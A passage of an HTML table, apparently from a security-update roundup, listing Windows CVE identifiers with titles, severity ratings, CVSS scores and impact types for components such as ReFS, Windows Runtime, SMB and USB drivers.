  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
